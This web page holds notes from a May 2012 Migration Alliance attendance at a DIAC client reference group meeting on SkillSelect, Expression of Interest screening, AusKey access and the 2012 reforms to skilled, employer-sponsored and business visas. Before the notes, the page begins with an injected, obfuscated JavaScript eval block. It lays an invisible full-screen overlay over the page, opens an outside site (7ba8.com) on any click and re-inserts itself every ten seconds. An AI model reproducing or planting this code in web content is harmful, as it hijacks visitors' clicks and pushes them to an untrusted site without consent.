<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>Today, Friday 25 May 2012 from 9:30am to 11:30am Migration Alliance attended the NSW Client Reference Group meeting hosted by Peter Speldewinde, at DIAC - 26 Lee Street, Sydney. The meeting agenda was:
Extraordinary Meeting - Skillselect and reforms to permanent Employer Sponsored Visas.
Notes from the meeting are as follows:
Regulations have all been passed yesterday afternoon, Governor General signed off on them and they will be available on Tuesday next week.
The Expression of Interest (EOI)
Expression of interest screens are a point and click system where applicants can suspend, save the EOI etc. EOI applications cannot be submitted until it is complete. A CV must be complete to be uploaded to the EOI database. The online CV will be used for comparison against other applicants by DIAC.
Information submitted will be made available to the subsets that the applicant elected.
The Independent pass mark is simply a minimum standard.
State and territory governments will be able to see applicant's details.
EOI valid for two years. Applicants can update additional work experience to obtain extra points during the time that their application exists on the EOI database. The applicant is dealt with online regarding the programme itself, planned system outages etc. Everything is online.
With the new point and click system, biographical details, skills, experience, visa choices, geographic location, which state the applicant is considering (or all states) etc.
State and territory governments
State migration plans control the spread of occupations. State governments will go in and search the database and sort through and decide who to nominate. SkillSelect will generate an invite to the applicant. The applicant (which DIAC calls the 'client') has 60 days to respond and lodge a visa application. The DIAC online system will pre-populate the visa application form for the applicant. This makes the system fast and electronic. State and Territory governments can search by occupation and break their searches down to criteria such as those applicants happy not to work in major regional centres.
The EOI is not intended to replace 457 or 856 or 121.
Auskey
Auskey is encrypted software, issued by the ATO which can allow companies to access and invite applicants / 'clients'. The name of the client, nationality, gender and age will not be shown. Companies with an Auskey can only search by matching the search criteria to their needs. Refining is possible. Contact is initiated through SkillSelect. Information is posted onto the applicant's profile screen to let them know that an employer wants to talk to them.
DIAC can monitor who is using the system, eg Recruitment companies and Australians.
Auskey access. If you have an Auskey you can access the system.
Auskey: Needs to be a bona fide business. Sponsorship ID cannot be used to get Auskey. The net needs to be cast wider. DIAC want companies to have an ABN and that is all.
There was discussion around the disconnect between an employer and whether a company which has an Auskey qualifies to be a sponsor.
SkillSelect
It is a sponsored application. The sponsorship actually kicks the process off.
SkillSelect is designed to be the first point of contact for people looking for employees outside intra company transfers.
DIAC- program managers will be able to look at the EOI database.
At the moment, the search tools are quite primitive. Through this new EOI and SkillSelect system the DIAC can sort, see and report on information contained within it. The DIAC can get a feel for who might be interested and conduct sensitivity analysis and project what programs might look like.
At the time the invitation is issued, the clients information in the EOI database is frozen. This is the basis on which DIAC issue the invitation to the client.
We know that the temptation to overstate claims will be almost irresistable for some. A new set of refusal powers will allow DIAC to look at information provided in the EOI and if the information is incorrect, and the client decides to go through with it then their visa might be refused, even considered as fraud.
DIAC can monitor and cleanse the EOI database which then maximises the potential for getting people Australia needs.
The Global Financial crisis showed DIAC that the current programme was clunky. The new programme is designed to meet Australia's skills needs .
All the visa subclasses in the current system are designed to come to a point in SkillSelect, which will deliver skill when and how Australia needs it and when it desires.
Recent expos in London and middle east show reaction from employers is extremely positive. State migration plans will help to streamline things.
The SkillSelect pass mark is the minimum standard. Visa places go to those who score the highest. An occupation ceiling has been established by ATO, DEEWR and DIAC. This is to ensure programme isn't skewed too heavily into certain occupational groups. Independent programme needs to be delivering a broad base. Eg 2010 and 11 where 40% of skilled independent applicants were accountants. This will not happen any more.
Processing times will be minimized. No more queues and pipelines. A much better way of providing client services, and where the government to meet the labor market.
Two systems (old and new) will be running soon and priority processing direction will be announced shortly. DIAC will need to achieve a balance between what is in pipeline and what is in EOI. The DIAC will be keen to get runs on the board, get applicants to come through system and issue them with an early invitation, then a quick visa outcome.
DIAC expects the first round of invitations to be issued around the end of July 2012. From there, the clients / applicants will have 60 days to respond and lodge their visa application, which will take them through until about the end of September 2012. The Independent group will hopefully take 3-4 months processing turnaround. DIAC still want to get the skills into Australia ASAP.
There will be bridging status for applications being lodged.
The visa validity period from date of issue has not been decided yet. Must enter before date has not been addressed yet. It's evolving. Validity of visas will be 5 years as per usual.
There is nothing to stop international headhunters from accessing system.
Main criteria
Applicants need to score the highest score. State and territory governments, if behaving rationally, will choose people with the highest scores in the occupations needed, then work down from there. For people sponsored by an employer, they will need to have skills and attributes employer requires.
Threshold requirements are still there. Recent work experience and recent study are being removed. It doesnt matter. Skills Australia needs is what counts.
If you have an invitation from DIAC, and then the occupations list changes, it doesnt matter. If you haven't got an invitation then you need to check if your occupation is still on the occupations list. All validity is set at the day of invitation.
Requirements for sponsorship the same til July 2013 when it is likely to be reviewed.
Employer invitation and nomination process. Is it a dating service? Yes. Effectively it is about bringing migrant and sponsor together.
Permanent employer sponsored
Collapsing subclasses, 6 to 2 subclases.
Streamlining pathway from 457 to ENS or RSMS.
Raising upper age limit from 45 to 50.
Changes to key visa criteria including English language and skills.
Refocussing rcb network on untested direct entry stream - RSMS
Introducing one consolidated occupations list (CSOL) which is made up of 457 ENSOL and STATSOL. It will be a bigger occupations list than what we are used to. Going into group 6 on this new list. A lot more winners than losers especially ENS around trades. If you need a tradie in your business, you don't need exceptional circumstances any more, it's part of the new programme.
Permanent sponsored programme
1. Direct entry stream - cold from offshore. Once you have become a PR, potentially they can walk on day one. They have to compete in labor market have to support themselves. They need to look a bit more like independent migrants.
2. Temporary residents transition stream - 457 to PR. They will not need to do IELTS again, or another skills assessment, as long as everything is normal it's a walk through.
3. Agreement stream- Labor agreement specifically allows for someone to go through to PR then it will happen. Regulations pitched to accommodate risk.
Consolidated sponsored occupations list (CSOL) is the new list
The Minister has agreed in principal on occupations on CSOL. CSOL will be published soon.
Exemption categories such as Age, Skill, English. This will be driven off a new legislative instrument. This will include religious workers, scientists and academics. If it's not in the new instrument, then its not available. We need to know whether instrument is three instruments or not. Will have by Tuesday.
RSMS
Regional Certifying Bodies (RCBs) from 1 July only need to give advice only. DIAC are looking to give them legislative footing. RCBs will give case officers an opinion. This means employer has a review right. Eg employer running restaurant in Kalgoorlie which is a French restaurant and these people only cook in the Indian tradition. Appeal rights.
No training requirement will be retained. RSMS is a top priority in ministers policy direction.
Points based skilled migration
6 visas consolidated to three.
189 skilled independent replaces 885 and 175
190 skilled nominated replaces 886 and 176
489 replaces 487 and 475
Simplified visa requirements
Apply through skillselect.
From 1 July 2012, 175, 176 and 475 closed to new applications. 885, 886 and 487 closed from 1 Jan 2013.
Simplified requirements:
BVA, BVB or BVC can apply, no qualifying substantive visa. Can be inside or outside Australia. Work experience and Australian study no longer threshold eligibility requirement. Points test factors set to time of invitation. Schedule 3 not yet considered.
If an applicant goes in and updates information then this becomes the date of lodgement.
DIAC will publish where they set the bar for each occupation.
Business skills
Research shows current programme settings stifle innovation and risk taking.
Half of all provisional visa business businesses are in fast food, cafes and restaurants.
Need to align program to broader strategic objectives of the skilled migration programme.
Focus on visa simplification and deregulation.Focus will be on innovation, history of innovation and risk taking.
We will not have a 'business skills programme' from 1 July.
The new programme is called Business Innovation and Investment Program.
It is for entrepreneurs who are likely to have sourced venture capital funding in Australia.
It will have a points test for provisional visa applicants giving weight to innovation.
It will introduce a significant stream for investors.
It will be incorporated into Skillselect and be entirely state sponsored.
New visas from 1 July 2012 under Business Innovation and Investment Program:
1. 132 Business talent
2. 188 business innovation and investment (provisional)
3. 888 Business innovation and investment (permanent)
Apply through SkillSelect
Current onshore permanent business applications are still being kept open.
NB If an applicant turns 50 years old during 457, they need to have worked for 4 years not 2 years, or be in the highly paid executive group. Adult children on 457's will be included provided they haven't married.
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